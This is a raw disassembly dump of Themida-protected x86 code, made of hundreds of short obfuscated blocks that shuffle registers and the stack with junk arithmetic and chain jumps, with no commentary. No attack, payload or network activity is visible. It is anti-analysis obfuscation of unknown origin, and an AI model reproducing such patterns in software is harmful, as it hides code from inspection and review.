		mov	[esp], ebx
		push	esi
		mov	esi, 1F9E5817h
		jmp	loc_54B2D7
; ---------------------------------------------------------------------------


loc_5467E2:				; CODE XREF: Themida_:0054FFFEj
		mov	edx, 264E37DBh
		mov	esi, 0D9B1C825h
		jmp	loc_54D8C5
; ---------------------------------------------------------------------------


loc_5467F1:				; CODE XREF: Themida_:0054F680j
		push	ecx
		mov	ecx, 249822D9h
		mov	edi, 825673A4h
		sub	edi, ecx
		pop	ecx
		add	edi, 16E71DCEh
		inc	edi
		not	edi
		jmp	loc_54795B
; ---------------------------------------------------------------------------


loc_54680D:				; CODE XREF: Themida_:005476DCj
		mov	esi, 294E15F3h
		or	edi, esi
		pop	esi
		sub	edi, 3D7E7DF1h
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_54EA08
; ---------------------------------------------------------------------------


loc_546825:				; CODE XREF: Themida_:0054D9B5j
		pop	esi
		and	eax, edi
		jmp	loc_54C21C
; ---------------------------------------------------------------------------


loc_54682D:				; CODE XREF: Themida_:0054709Aj
		or	bl, 5Eh
		jmp	loc_547303
; ---------------------------------------------------------------------------


loc_546835:				; CODE XREF: Themida_:005491ADj
		add	edi, 6E55D04h
		add	edi, 4CB2056Ah
		add	edi, 2B385413h
		add	edi, 0A0A1E68h
		jmp	loc_54849E
; ---------------------------------------------------------------------------


loc_546852:				; CODE XREF: Themida_:00544E7Bj
		mov	ebp, eax
		jmp	loc_54CAE1
; ---------------------------------------------------------------------------


loc_546859:				; CODE XREF: Themida_:0054D374j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54A08A
; ---------------------------------------------------------------------------


loc_546874:				; CODE XREF: Themida_:00548D83j
		push	6789h
		mov	[esp], edx
		mov	dl, 0B5h
		jmp	loc_545228
; ---------------------------------------------------------------------------


loc_546883:				; CODE XREF: Themida_:0054BB53j
		add	eax, 7B154BEAh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54B2E4
; ---------------------------------------------------------------------------


loc_546896:				; CODE XREF: Themida_:0054AB84j
		pop	ecx
		jmp	loc_54A8A8
; ---------------------------------------------------------------------------


loc_54689C:				; CODE XREF: Themida_:0054F44Fj
		and	edi, 59495BC6h
		push	0
		jmp	loc_54F173
; ---------------------------------------------------------------------------


loc_5468AC:				; CODE XREF: Themida_:0054D97Fj
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5468C0:				; CODE XREF: Themida_:0054FF9Aj
		sub	edi, 0FFFFFFFFh
		inc	edi
		add	edi, 0FAF7FB9Dh
		add	ecx, edi
		pop	edi
		push	eax
		push	ecx
		jmp	loc_545E50
; ---------------------------------------------------------------------------


loc_5468D7:				; CODE XREF: Themida_:0054DFC5j
		pop	eax
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54EEE2
; ---------------------------------------------------------------------------


loc_5468E9:				; CODE XREF: Themida_:0054C3E2j
		sub	esi, 6407Eh
		add	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5455DF
; ---------------------------------------------------------------------------


loc_5468FD:				; CODE XREF: Themida_:0054B39Fj
		sub	cl, 0B9h
		add	cl, 55h
		mov	dl, cl
		pop	ecx
		add	bl, dl
		pop	dx
		sub	bl, al
		push	10B8h
		mov	[esp], edx
		push	ecx
		jmp	loc_5490C5
; ---------------------------------------------------------------------------


loc_54691A:				; CODE XREF: Themida_:0054FDD3j
		xor	esi, 0CD9CD194h
		add	eax, esi
		pop	esi
		jmp	loc_54F3C0
; ---------------------------------------------------------------------------


loc_546928:				; CODE XREF: Themida_:0054973Fj
		neg	esi
		or	esi, 60FA547Ch
		sub	esi, 0F6FFD47Bh
		push	esi
		mov	esi, 5FC1663h
		shr	esi, 8
		sub	esi, 48C9779Bh
		sub	esi, 8CCC2584h
		sub	ecx, esi
		pop	esi
		add	ecx, esi
		add	ecx, 2A705EF7h
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_548E72
; ---------------------------------------------------------------------------


loc_546965:				; CODE XREF: Themida_:0054EE51j
		add	eax, edi
		pop	edi
		sub	eax, edi
		sub	eax, 3DD01102h
		pop	edi
		jmp	loc_54BFDC
; ---------------------------------------------------------------------------


loc_546975:				; CODE XREF: Themida_:005482E4j
		add	esp, 4
		push	small 0E79h
		jmp	loc_5477D7
; ---------------------------------------------------------------------------


loc_546981:				; CODE XREF: Themida_:0054C217j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	0
		jmp	loc_54B622
; ---------------------------------------------------------------------------


loc_546997:				; CODE XREF: Themida_:005440E0j
		push	5467h
		mov	[esp], eax
		jmp	loc_54A8E6
; ---------------------------------------------------------------------------


loc_5469A4:				; CODE XREF: Themida_:00548094j
		shr	ebx, 3
		shr	ebx, 7
		sub	ebx, 1B692Eh
		jmp	loc_54D707
; ---------------------------------------------------------------------------


loc_5469B5:				; CODE XREF: Themida_:0054D869j
		mov	[esp], ecx
		jmp	loc_544022
; ---------------------------------------------------------------------------
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_54F939
; ---------------------------------------------------------------------------


loc_5469CD:				; CODE XREF: Themida_:0054A351j
		push	ebx
		jmp	loc_54CC91
; ---------------------------------------------------------------------------


loc_5469D3:				; CODE XREF: Themida_:0054F153j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		jmp	loc_548871
; ---------------------------------------------------------------------------


loc_5469F8:				; CODE XREF: Themida_:0054D6A1j
		mov	[esp], edi
		mov	edi, 8DB3872h
		add	eax, edi
		pop	edi
		add	eax, ebx
		sub	eax, 8DB3872h
		jmp	loc_544388
; ---------------------------------------------------------------------------


loc_546A0F:				; CODE XREF: Themida_:0054BED9j
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_548DE3
; ---------------------------------------------------------------------------


loc_546A28:				; CODE XREF: Themida_:00549453j
		pop	ecx
		xor	edx, 3B86187Dh
		jmp	loc_54B4B3
; ---------------------------------------------------------------------------


loc_546A34:				; CODE XREF: Themida_:00548F86j
		mov	[esp], eax
		jmp	loc_548D91
; ---------------------------------------------------------------------------


loc_546A3C:				; CODE XREF: Themida_:00545532j
		mov	cl, bh
		pop	ebx
		pop	edx
		push	0
		sub	[esp], cl
		mov	cl, [esp]
		push	eax
		jmp	loc_546FFE
; ---------------------------------------------------------------------------


loc_546A51:				; CODE XREF: Themida_:0054DFD4j
		mov	bl, dl
		mov	ch, bl
		jmp	loc_54D1E5
; ---------------------------------------------------------------------------


loc_546A5A:				; CODE XREF: Themida_:005476C8j
		mov	esi, 15EF3F81h
		add	esi, 0EA10C083h
		add	ebp, esi
		jmp	loc_549A9A
; ---------------------------------------------------------------------------


loc_546A6C:				; CODE XREF: Themida_:00545E0Aj
		pop	edx
		sub	esi, 19963B8Eh
		sub	esi, 125F22B1h
		sub	esi, ecx
		jmp	loc_54FA84
; ---------------------------------------------------------------------------


loc_546A80:				; CODE XREF: Themida_:0054B82Fj
		mov	esp, [esp]
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 555B2F1Ah
		mov	esi, eax
		mov	eax, [esp]
		jmp	loc_549393
; ---------------------------------------------------------------------------


loc_546AA0:				; CODE XREF: Themida_:0054EEB5j
		push	edx
		jmp	loc_54DFCA
; ---------------------------------------------------------------------------


loc_546AA6:				; CODE XREF: Themida_:0054EF8Aj
		or	ebp, 501D60B3h
		xor	ebp, 69153BEDh
		or	ebp, 0E927F74h
		sub	ebp, 16D248DBh
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, edx
		pop	edx
		add	ebx, 49A871E8h
		jmp	loc_545928
; ---------------------------------------------------------------------------


loc_546AD4:				; CODE XREF: Themida_:0054FF94j
		sub	edi, 77830B8Fh
		xor	edi, 0C29CE03Fh
		add	[esp+4], edi
		pop	edi
		mov	eax, [esp]
		push	edi
		jmp	loc_54B2BA
; ---------------------------------------------------------------------------


loc_546AEE:				; CODE XREF: Themida_:00545138j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_54E71A
; ---------------------------------------------------------------------------


loc_546B00:				; CODE XREF: Themida_:0054A98Aj
		pop	ebx
		jmp	loc_544460
; ---------------------------------------------------------------------------


loc_546B06:				; CODE XREF: Themida_:005454C9j
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp]
		jmp	loc_546BC7
; ---------------------------------------------------------------------------


loc_546B15:				; CODE XREF: Themida_:0054B5A1j
		push	653Eh
		mov	[esp], eax
		mov	eax, esp
		push	edx
		jmp	loc_54B8E5
; ---------------------------------------------------------------------------


loc_546B25:				; CODE XREF: Themida_:0054B7BFj
		mov	ebx, [esp]
		jmp	loc_54775E
; ---------------------------------------------------------------------------


loc_546B2D:				; CODE XREF: Themida_:0054ADC1j
		xor	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	ah, dl
		jmp	loc_549AFE
; ---------------------------------------------------------------------------


loc_546B41:				; CODE XREF: Themida_:0054C3B0j
		pop	ebx
		add	ebx, 4
		push	ecx
		mov	ecx, 5C594E31h
		jmp	loc_5485D9
; ---------------------------------------------------------------------------


loc_546B53:				; CODE XREF: Themida_:0054510Bj
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5454B5
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 4B6C78CAh
		add	eax, ebx
		jmp	loc_549EF0
; ---------------------------------------------------------------------------


loc_546B70:				; CODE XREF: Themida_:00546CE9j
		add	ebp, 43273159h
		neg	ebp
		push	esi
		mov	esi, 28646F6Fh
		shl	esi, 1
		inc	esi
		shr	esi, 1
		sub	esi, 0D792BD9Ch
		sub	ebp, esi
		pop	esi
		add	ecx, ebp
		jmp	loc_54ECE4
; ---------------------------------------------------------------------------


loc_546B93:				; CODE XREF: Themida_:0054D9D2j
		pop	edi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_544E77
; ---------------------------------------------------------------------------


loc_546BA8:				; CODE XREF: Themida_:0054ECDFj
		push	eax
		push	617C0364h
		pop	eax
		jmp	loc_54AF00
; ---------------------------------------------------------------------------


loc_546BB4:				; CODE XREF: Themida_:0054A1C0j
		mov	[esp], edx
		mov	eax, [esp]
		jmp	loc_54E050
; ---------------------------------------------------------------------------


loc_546BBF:				; CODE XREF: Themida_:0054AF5Dj
		add	esp, 4
		jmp	loc_54A226
; ---------------------------------------------------------------------------


loc_546BC7:				; CODE XREF: Themida_:00546B10j
		add	esp, 4
		jmp	loc_54E107
; ---------------------------------------------------------------------------


loc_546BCF:				; CODE XREF: Themida_:0054A2F3j
		sub	edi, 1BBB0470h
		sub	esp, 4
		mov	[esp], edi
		sub	dword ptr [esp], 11C1373Dh
		pop	ecx
		jmp	loc_54F258
; ---------------------------------------------------------------------------


loc_546BE8:				; CODE XREF: Themida_:00547DFDj
		pop	esp
		add	eax, 4
		push	ecx
		mov	ecx, 2
		add	eax, ecx
		jmp	loc_548447
; ---------------------------------------------------------------------------


loc_546BFB:				; CODE XREF: Themida_:005463A1j
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	edx, ecx
		mov	eax, edx
		jmp	loc_548CFC
; ---------------------------------------------------------------------------


loc_546C0B:				; CODE XREF: Themida_:0054C256j
		push	45F1h
		mov	[esp], ecx
		mov	ecx, 0BC77FCCh
		jmp	loc_5453B8
; ---------------------------------------------------------------------------


loc_546C1D:				; CODE XREF: Themida_:0054E43Bj
		pop	ebp
		pop	edx
		sub	eax, 15FA0F84h
		add	eax, edx
		push	esi
		push	ebx
		push	0C2A547Eh
		pop	ebx
		dec	ebx
		jmp	loc_5486D6
; ---------------------------------------------------------------------------


loc_546C34:				; CODE XREF: Themida_:0054944Cj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_546C49:				; CODE XREF: Themida_:0054C37Fj
		mov	ch, 0EBh
		or	ch, 0F3h
		xor	ch, 1Fh
		or	ch, 0CCh
		sub	ch, 83h
		jmp	loc_547F62
; ---------------------------------------------------------------------------


loc_546C5C:				; CODE XREF: Themida_:0054F9ECj
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	11EDh
		jmp	loc_54630A
; ---------------------------------------------------------------------------


loc_546C6F:				; CODE XREF: Themida_:00546391j
		mov	ch, 10h
		sub	bl, ch
		pop	cx
		add	bl, al
		add	bl, 10h
		push	small 7AF0h
		jmp	loc_54780B
; ---------------------------------------------------------------------------


loc_546C83:				; CODE XREF: Themida_:0054B708j
		add	esp, 4
		xor	ch, 0ECh
		jmp	loc_5442E6
; ---------------------------------------------------------------------------


loc_546C91:				; CODE XREF: Themida_:005444D5j
		add	dh, 74h
		xor	dh, 1Eh
		add	al, dh
		jmp	loc_54DE71
; ---------------------------------------------------------------------------


loc_546C9E:				; CODE XREF: Themida_:00549A2Cj
		inc	eax
		and	eax, 501A1280h
		xor	eax, 37C15DA3h
		xor	ebx, eax
		pop	eax
		mov	edx, ebx
		pop	ebx
		add	edx, 4A7D3E53h
		sub	edx, 7C59530Ch
		add	edx, edi
		add	edx, 7C59530Ch
		jmp	loc_5445FD
; ---------------------------------------------------------------------------


loc_546CC8:				; CODE XREF: Themida_:0054C1B2j
		push	ebx
		jmp	loc_549CD9
; ---------------------------------------------------------------------------


loc_546CCE:				; CODE XREF: Themida_:0054EC80j
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 0AFA2465h
		and	ebp, 4437008Bh
		xor	ebp, 6C351CD1h
		jmp	loc_546B70
; ---------------------------------------------------------------------------


loc_546CEE:				; CODE XREF: Themida_:00548E6Dj
		add	ebp, 4
		jmp	loc_545B1D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	68EFh
		jmp	loc_549427
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jmp	loc_54B14C
; ---------------------------------------------------------------------------


loc_546D11:				; CODE XREF: Themida_:0054CD7Aj
		pop	esi
		sub	esp, 4
		jmp	loc_54B65C
; ---------------------------------------------------------------------------


loc_546D1A:				; CODE XREF: Themida_:0054DCCDj
		xchg	edi, [esp]
		jmp	loc_54529C
; ---------------------------------------------------------------------------


loc_546D22:				; CODE XREF: Themida_:00545D84j
		mov	ch, 3Bh
		neg	ch
		push	ebx
		mov	bl, 55h
		xor	bl, 5Bh
		xor	ch, bl
		pop	ebx
		jmp	loc_547A85
; ---------------------------------------------------------------------------


loc_546D34:				; CODE XREF: Themida_:0054956Cj
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_548B3F
; ---------------------------------------------------------------------------


loc_546D47:				; CODE XREF: Themida_:00549A3Fj
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_546699
; ---------------------------------------------------------------------------


loc_546D51:				; CODE XREF: Themida_:0054C719j
		add	esp, 4
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54835B
; ---------------------------------------------------------------------------


loc_546D68:				; CODE XREF: Themida_:00549D22j
		add	esp, 4
		push	dx
		jmp	loc_54D44F
; ---------------------------------------------------------------------------


loc_546D75:				; CODE XREF: Themida_:0054962Ej
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_546D7A:				; CODE XREF: Themida_:00545215j
		add	edi, 4
		add	edi, 4
		jmp	loc_545BAA
; ---------------------------------------------------------------------------


loc_546D88:				; CODE XREF: Themida_:00549E76j
		mov	bl, 95h
		add	bl, 0C2h
		jmp	loc_545949
; ---------------------------------------------------------------------------


loc_546D92:				; CODE XREF: Themida_:0054A85Bj
		or	eax, 16E22464h
		jmp	loc_54C507
; ---------------------------------------------------------------------------


loc_546D9C:				; CODE XREF: Themida_:0054438Cj
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_547EB9
; ---------------------------------------------------------------------------


loc_546DAA:				; CODE XREF: Themida_:0054FF42j
		mov	esi, [esp]
		push	eax
		jmp	loc_547689
; ---------------------------------------------------------------------------


loc_546DB3:				; CODE XREF: Themida_:00544B9Cj
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5499FE
; ---------------------------------------------------------------------------


loc_546DCD:				; CODE XREF: Themida_:0054539Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, 392030C8h
		jmp	loc_5497CF
; ---------------------------------------------------------------------------


loc_546DEE:				; CODE XREF: Themida_:0054A637j
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_546DFE:				; CODE XREF: Themida_:00547494j
		mov	edx, esp
		jmp	loc_54889A
; ---------------------------------------------------------------------------


loc_546E05:				; CODE XREF: Themida_:00549D5Fj
		add	edi, 39796AA4h
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_5473AF
; ---------------------------------------------------------------------------


loc_546E1C:				; CODE XREF: Themida_:0054B44Bj
		mov	dh, 0Ch
		mov	al, dh
		jmp	loc_54828A
; ---------------------------------------------------------------------------


loc_546E25:				; CODE XREF: Themida_:0054B6DFj
		mov	esi, 4
		add	ebp, 594829A8h
		push	52CFh
		mov	[esp], esi
		mov	esi, 58591859h
		sub	ebp, esi
		pop	esi
		jmp	loc_54739C
; ---------------------------------------------------------------------------


loc_546E45:				; CODE XREF: Themida_:00547005j
		push	ecx
		mov	ecx, 4
		jmp	loc_548F5C
; ---------------------------------------------------------------------------


loc_546E50:				; CODE XREF: Themida_:0054A348j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 17607CBh
		xor	eax, 73C05805h
		sub	eax, 436E0FA0h
		dec	eax
		inc	eax
		jmp	loc_54C857
; ---------------------------------------------------------------------------
		push	6E49h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		jmp	loc_54FA8A
; ---------------------------------------------------------------------------


loc_546E8E:				; CODE XREF: Themida_:0054B581j
		sub	ch, bh
		pop	ebx
		jmp	loc_548901
; ---------------------------------------------------------------------------


loc_546E96:				; CODE XREF: Themida_:0054CC3Dj
		mov	ebx, 24h
		add	ebx, edi
		xor	esi, [ebx]
		pop	ebx
		xor	[edi+24h], esi
		jmp	loc_546396
; ---------------------------------------------------------------------------


loc_546EA8:				; CODE XREF: Themida_:00548FE6j
		push	7D54h
		mov	[esp], ecx
		mov	ecx, 7B8C3C62h
		push	7AB1h
		mov	[esp], ecx
		push	ebx
		pop	ecx
		mov	ebx, [esp]
		jmp	loc_54BD7D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_54F5CD
; ---------------------------------------------------------------------------


loc_546EDC:				; CODE XREF: Themida_:00545C30j
		push	edi
		push	edx
		mov	edx, 24B3E33h
		or	edx, 35820AF6h
		sub	edx, 40A52DBAh
		shl	edx, 5
		sub	edx, 0B27B1766h
		mov	edi, edx
		pop	edx
		jmp	loc_54B35F
; ---------------------------------------------------------------------------


loc_546F00:				; CODE XREF: Themida_:00545503j
		sub	dl, 56h
		jmp	loc_54B107
; ---------------------------------------------------------------------------


loc_546F08:				; CODE XREF: Themida_:0054F819j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	esi
		mov	esi, 2
		sub	ecx, esi
		pop	esi
		jmp	loc_544357
; ---------------------------------------------------------------------------


loc_546F25:				; CODE XREF: Themida_:0054CECDj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, al
		push	2E70h
		mov	[esp], ecx
		mov	cl, dh
		push	ebx
		mov	ebx, 28h
		add	ebx, edi
		jmp	loc_54B813
; ---------------------------------------------------------------------------


loc_546F50:				; CODE XREF: Themida_:00546187j
		pop	eax
		jmp	loc_54DB3D
; ---------------------------------------------------------------------------


loc_546F56:				; CODE XREF: Themida_:0054CB22j
		mov	edi, ecx
		pop	ecx
		and	eax, edi
		jmp	loc_547FB8
; ---------------------------------------------------------------------------


loc_546F60:				; CODE XREF: Themida_:005464A7j
		xor	bl, 2Fh
		shr	bl, 7
		push	eax
		mov	ah, 2Dh
		and	ah, 0F4h
		neg	ah
		jmp	loc_54EF9B
; ---------------------------------------------------------------------------


loc_546F73:				; CODE XREF: Themida_:0054BE1Cj
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		shr	eax, 0Ch
		jmp	loc_546261
; ---------------------------------------------------------------------------


loc_546F87:				; CODE XREF: Themida_:0054B649j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54A9D2
; ---------------------------------------------------------------------------


loc_546F95:				; CODE XREF: Themida_:00545297j
		push	ecx
		mov	ecx, 682E02E2h
		sub	ebx, 3BE57C94h
		add	ebx, ecx
		jmp	loc_547856
; ---------------------------------------------------------------------------


loc_546FA8:				; CODE XREF: Themida_:005476BAj
		add	esp, 4
		xor	esi, edx
		xor	edx, esi
		jmp	loc_54F4B2
; ---------------------------------------------------------------------------


loc_546FB7:				; CODE XREF: Themida_:0054B03Aj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		push	edx
		jmp	loc_54DCD2
; ---------------------------------------------------------------------------


loc_546FCB:				; CODE XREF: Themida_:0054B286j
		xor	al, dl
		xor	dl, al
		neg	al
		jmp	loc_54C812
; ---------------------------------------------------------------------------


loc_546FD6:				; CODE XREF: Themida_:0054B430j
		mov	eax, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	esp
		jmp	loc_54DCF5
; ---------------------------------------------------------------------------


loc_546FEE:				; CODE XREF: Themida_:00548EFDj
		pop	dword ptr [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54618C
; ---------------------------------------------------------------------------


loc_546FFE:				; CODE XREF: Themida_:00546A4Cj
		mov	eax, esp
		add	eax, 4
		jmp	loc_546E45
; ---------------------------------------------------------------------------


loc_54700A:				; CODE XREF: Themida_:0054563Aj
		mov	[esp], esi
		mov	esi, 6C24395Bh
		add	esi, 34FB05DFh
		inc	esi
		shl	esi, 6
		jmp	loc_54F39B
; ---------------------------------------------------------------------------


loc_547021:				; CODE XREF: Themida_:0054F765j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_54D024
; ---------------------------------------------------------------------------


loc_547039:				; CODE XREF: Themida_:0054808Ej
		xor	esi, 24B32831h
		sub	edi, 55E731EFh
		sub	edi, esi
		add	edi, 55E731EFh
		pop	esi
		jmp	loc_54BDC7
; ---------------------------------------------------------------------------


loc_547053:				; CODE XREF: Themida_:0054E3E2j
		mov	cx, [esp]
		push	eax
		push	esp
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_54CB3B
; ---------------------------------------------------------------------------


loc_547065:				; CODE XREF: Themida_:0054A97Aj
		not	edi
		xor	edi, 43B54A86h
		jmp	loc_54E302
; ---------------------------------------------------------------------------


loc_547072:				; CODE XREF: Themida_:00545322j
		push	esi
		jmp	loc_54BCD7
; ---------------------------------------------------------------------------


loc_547078:				; CODE XREF: Themida_:0054FE44j
		or	eax, 448B126Fh
		shl	eax, 4
		add	eax, 57EB9EE6h
		sub	esi, eax
		pop	eax
		mov	edi, esi
		jmp	loc_54498D
; ---------------------------------------------------------------------------


loc_54708F:				; CODE XREF: Themida_:0054B518j
		mov	[esp], ebx
		jmp	loc_548970
; ---------------------------------------------------------------------------
		push	ebx
		mov	bl, 1Bh
		jmp	loc_54682D
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0FFFFFBFFh
		and	[edi+1Ch], eax
		jmp	loc_54C2F4
; ---------------------------------------------------------------------------


loc_5470B5:				; CODE XREF: Themida_:0054D63Fj
		pop	edx
		shl	edi, 8
		push	ebp
		mov	ebp, 2BEF046Bh
		sub	ebp, 2BEF046Ch
		sub	edi, ebp
		pop	ebp
		jmp	loc_54C8F7
; ---------------------------------------------------------------------------


loc_5470CD:				; CODE XREF: Themida_:0054F92Cj
		mov	ecx, 59B57965h
		neg	ecx
		jmp	loc_546094
; ---------------------------------------------------------------------------


loc_5470D9:				; CODE XREF: Themida_:005481F7j
		neg	ebp
		sub	ebp, 6C3D9190h
		sub	ecx, ebp
		pop	ebp
		add	ecx, ebp
		jmp	loc_54AD07
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_54C6AC
; ---------------------------------------------------------------------------


loc_5470F3:				; CODE XREF: Themida_:0054F48Fj
		mov	esi, ebp
		pop	ebp
		and	eax, esi
		jmp	loc_5476E1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_54EB95
; ---------------------------------------------------------------------------


loc_547109:				; CODE XREF: Themida_:0054F20Bj
		pop	cx
		shr	bh, 8
		xor	bh, 0DBh
		push	edx
		push	eax
		mov	ah, 19h
		jmp	loc_5500AC
; ---------------------------------------------------------------------------


loc_54711A:				; CODE XREF: Themida_:0054C4A4j
		push	6677h
		jmp	loc_54B64E
; ---------------------------------------------------------------------------
		dd 6CE9D800h, 66FFFFFFh, 57240C8Bh, 5650E789h, 710DBB53h
		dd 0E951150Bh, 0B0Eh, 8B92D029h, 0C4832404h, 0F0E95704h
		dd 0AD00003Eh, 177D68h,	243C8900h, 0C781E789h, 4, 0FFF858E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547165:				; CODE XREF: Themida_:0054549Aj
		xor	al, bl
		mov	ebx, [esp]
		jmp	loc_5488C0
; ---------------------------------------------------------------------------


loc_54716F:				; CODE XREF: Themida_:0054FAAAj
		mov	[esp], edi
		not	dword ptr [esp]
		pop	edi
		shr	edi, 6
		push	edi
		not	dword ptr [esp]
		pop	edi
		sub	edi, 1D741BDFh
		push	esi
		push	eax
		mov	eax, 75C5B8Ah
		shl	eax, 1
		dec	eax
		jmp	loc_544844
; ---------------------------------------------------------------------------


loc_547193:				; CODE XREF: Themida_:0054B9AEj
		add	esp, 4
		and	eax, ebp
		jmp	loc_54B542
; ---------------------------------------------------------------------------


loc_5471A0:				; CODE XREF: Themida_:0054E56Cj
		mov	esi, [esp]
		jmp	loc_545990
; ---------------------------------------------------------------------------


loc_5471A8:				; CODE XREF: Themida_:0054FD86j
		push	ebp
		jmp	loc_549282
; ---------------------------------------------------------------------------


loc_5471AE:				; CODE XREF: Themida_:0054543Aj
		add	edi, 6CA61F92h
		jmp	loc_54D8F2
; ---------------------------------------------------------------------------


loc_5471B9:				; CODE XREF: Themida_:0054AC80j
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, eax
		pop	eax
		jmp	loc_54A576
; ---------------------------------------------------------------------------


loc_5471CC:				; CODE XREF: Themida_:005489D3j
		dec	edx
		not	edx
		jmp	loc_54CA35
; ---------------------------------------------------------------------------


loc_5471D4:				; CODE XREF: Themida_:0054C792j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_544B51
; ---------------------------------------------------------------------------


loc_5471F0:				; CODE XREF: Themida_:0054CB6Dj
		shl	edx, 1
		add	edx, 0DEE9E2FCh
		sub	eax, 157774EBh
		add	eax, edx
		add	eax, 157774EBh
		jmp	loc_54C235
; ---------------------------------------------------------------------------


loc_547209:				; CODE XREF: Themida_:0054C4CCj
		add	eax, ebp
		pop	ebp
		push	esi
		push	ebp
		mov	ebp, 16D66491h
		add	ebp, 7AE40239h
		add	ebp, 22C17CE8h
		shr	ebp, 2
		jmp	loc_54DF8A
; ---------------------------------------------------------------------------


loc_547227:				; CODE XREF: Themida_:0054527Bj
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_5491CD
; ---------------------------------------------------------------------------


loc_54723A:				; CODE XREF: Themida_:0054CF7Bj
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_54F139
; ---------------------------------------------------------------------------


loc_54724A:				; CODE XREF: Themida_:0054B09Fj
		mov	dl, 0Eh
		sub	bl, dl
		pop	dx
		add	bl, 0C8h
		jmp	loc_549209
; ---------------------------------------------------------------------------


loc_547258:				; CODE XREF: Themida_:00547B38j
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_545376
; ---------------------------------------------------------------------------


